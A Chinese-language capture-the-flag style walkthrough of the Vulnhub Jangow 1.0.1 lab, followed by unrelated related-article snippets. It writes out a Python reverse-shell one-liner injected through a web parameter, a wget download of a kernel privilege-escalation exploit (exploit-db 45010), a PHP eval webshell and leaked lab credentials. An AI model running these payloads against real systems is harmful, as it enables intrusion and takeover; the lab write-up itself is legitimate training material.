Vulnhub靶场 Jangow: 1.0.1 练习

server/2024/11/25 0:52:12/

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova

介绍:

Difficulty: easy

The secret to this box is enumeration! Inquiries jangow2021@gmail.com

This works better with VirtualBox rather than VMware ## Changelog 2021-11-04 - v1.0.1 2021-11-01 - v1.0.0



0x01 主机信息收集


kali本机的ip:192.168.119.128

探测目标主机IP:netdiscover -i eth0 -r 192.168.119.0/24
目标主机IP:192.168.119.134

探测目标主机开放端口:nmap -sV -p 1-65535 -A 192.168.119.134
在这里插入图片描述


开放了21端口,vsftp3.0.3版本。80端口,apache2.4.18版本。



0x02 站点信息收集


访问80端口,探测站点的目录结构:dirsearch -u 192.168.119.134
在这里插入图片描述


一个site目录,还有/.backup目录。

进入site目录是一个站点的首页:
在这里插入图片描述


再看一下/.backup页面:
在这里插入图片描述


看到了数据库相关的信息,并且是mysql数据库,这里保存一下获取到的信息:

$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";


0x03 漏洞查找与利用


1. 命令执行


看站点上的信息,右上角Menu菜单这里有三个菜单,About,Project,Buscar。

点击About时,URL是:http://192.168.119.134/site/#about
点击Project时,URL是:http://192.168.119.134/site/#projects
点击Buscar时,URL是:http://192.168.119.134/site/busque.php?buscar=

有个等号,并且页面是空白页:
在这里插入图片描述


考虑传参。传了个1,还是空白页。换思路,传了个ifconfig,有查出网络配置的信息:
在这里插入图片描述


又换了个whoami:
在这里插入图片描述


2. 反弹shell


这里有命令执行了,尝试一下反弹shell。

先在kali中监听端口9898:nc -lvvp 9898


再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",9898));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

结果一直无法监听。



改成443端口就可以监听成功。

先在kali中监听端口443:nc -lvvp 443

再在浏览器中访问:http://192.168.119.134/site/busque.php?buscar=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

监听成功:
在这里插入图片描述



3. 提权


查看一下系统的相关信息。

查看内核版本:uname -a

查看发行版本:lsb_release -a
在这里插入图片描述


内核版本是ubuntu 4.4.3-31 ,发行版本是 ubuntu 16.04。

搜索一下相关的漏洞:searchsploit Ubuntu 4.4.0-31
在这里插入图片描述


这里我们要进行提权,所以选择45010.c这个试一下。

这个脚本的完整路径是/usr/share/exploitdb/exploits/linux/local/45010.c

编译这个脚本:gcc /usr/share/exploitdb/exploits/linux/local/45010.c -o abc


接下来就是将abc这个文件传到目标主机上。

kali机器上用python创建一个简单的http服务器:python2 -m SimpleHTTPServer 443 (由于靶机的限制,这里只能用443端口)

在靶机上,先进入临时目录:cd /tmp

再执行:wget http://192.168.119.128:443/abc
在这里插入图片描述



这时候如果直接运行abc的话,会提示权限不足。所以先给这个文件加一个执行权限:chmod +x abc
在这里插入图片描述



结果提示GLIBC_2.34没有找到,这是因为编译是在kali下面完成的,是这个版本,但是目标主机没有这个版本。所以应该直接把编译前的文件传到目标靶机中,在靶机中编译。

kali中,把45010.c移动到开http服务的目录下:cp /usr/share/exploitdb/exploits/linux/local/45010.c .

在靶机的tmp目录下执行:wget http://192.168.119.128:443/45010.c

编译这个文件:gcc 45010.c -o exp
在这里插入图片描述



运行exp文件:./exp
在这里插入图片描述


提权成功

4. 补充


4.1 其他思路


做完后,参考了前辈们的文章,在目标主机给buscar参数传值进行命令执行的时候,可以上传一句话:echo '<?php eval($_POST["pass"]);' > shell.php

再用蚁剑连接:http://192.168.119.134/site/shell.php

在这里进行传文件等操作。



另外,还可以在wordpress目录下查看配置文件 config.php的内容,这里面也有一对账号密码。这样就收集到了两对账号密码。在前面端口扫描的时候开放了ftp服务,可以尝试用这两对账号密码进行frp登录尝试:ftp 192.168.119.134

backup文件中的账号密码可以登录成功。



4.2 问题


在反弹shell的时候,只能监听443端口。这里应该是因为目标主机的防火墙或系统策略限制目标主机必须使用特定的出站端口,若目标主机强制出站端口为 443,则攻击者必须监听在 443。



0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放的端口和服务。

站点信息收集:

  1. 扫描站点目录。
  2. 发现账号密码敏感信息。
  3. 发现命令执行的点。

漏洞利用:

  1. 命令执行处进行反弹shell。
  2. 获取系统的版本信息,进行内核提权




http://www.ppmy.cn/server/144668.html

相关文章

全面解析:HTML页面的加载全过程(四)--浏览器渲染之样式计算

主线程遍历得到的 DOM 树&#xff0c;依次为树中的每个节点计算出它最终的样式&#xff0c;称之为 Computed Style。 通过前面生成的DOM 树和 CSSOM 树&#xff0c;遍历 DOM 树&#xff0c;为每一个 DOM 节点&#xff0c;计算它的所有 CSS 属性&#xff0c;最后会得到一棵带有…

【bug】使用transformers训练二分类任务时,训练损失异常大

使用transformers训练二分类任务时&#xff0c;训练损失异常大 问题分析 问题 training_loss异常大&#xff0c;在二分类损失中&#xff0c;收敛在1~2附近&#xff0c;而eval_loss却正常&#xff08;小于0.5&#xff09; 分析 参考&#xff1a; Bug in gradient accumulation…

【PCIE常见面试问题-1】

PCIE常见面试问题-1 1 PCIE概述1.1 PCI为何发展开PCIE&#xff1f;1.2 什么是Root Complex(RC)1.3 什么是EP&#xff1f;1.4 什么是Swith1.5 PCIE协议如何组织通信的&#xff1f;1.6 简要介绍一下PCIE的分层结构&#xff0c;为什么需要分层&#xff1f;1.7 PCIE的事务类型有哪些…

微软 Ignite 2024 大会

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

金融科技白皮书:2022-2023年度回顾与前瞻

在金融科技领域&#xff0c;2022至2023年见证了一系列创新技术的应用和发展。本白皮书将回顾过去一年的主要成就&#xff0c;并展望未来一年的发展趋势。 2022年亮点回顾 **低代码平台&#xff1a;**低代码平台通过高度抽象化和自动化的可视化过程&#xff0c;简化了应用程序开…

前端:春节倒计时的简单实现

目录 一、前言 二、效果图及分析 三、代码 四、总结 一、前言 时间如白驹过隙&#xff0c;一转眼也快要年末了&#xff0c;感受着春节一天接一天的靠近&#xff0c;突然想到了用倒计时来进行记录&#xff0c;这应该能更直观的感受春节的临近。因此&#xff0c;我在这里跟大…

使用LLaMA-Factory微调时的问题与解决方案记录

文章目录 如何指定微调使用的显卡如何解决显卡通信导致的报错模型微调的实际epoch和step如何计算如何实现多卡全量微调模型微调后的结果如何查看模型测试后的指标如何理解如何指定微调使用的显卡 启动网页时使用这种执行命令 CUDA_VISIBLE_DEVICES=5,6,7 llamafactory-cli we…

uniapp 相关的swiper的一些注意事项

先推荐一个一个对标pc端swiper的uniapp版本 zebra-swiper 缺点是自定义分页器不是很好处理 不知道怎么弄 优点:可以进行高度自适应 &#xff08;这个uniapp原生swiper没有 只能动态修改 采用js 或者只有几种固定高度时采用变量修改&#xff09; <swiperref"lifeMiddle…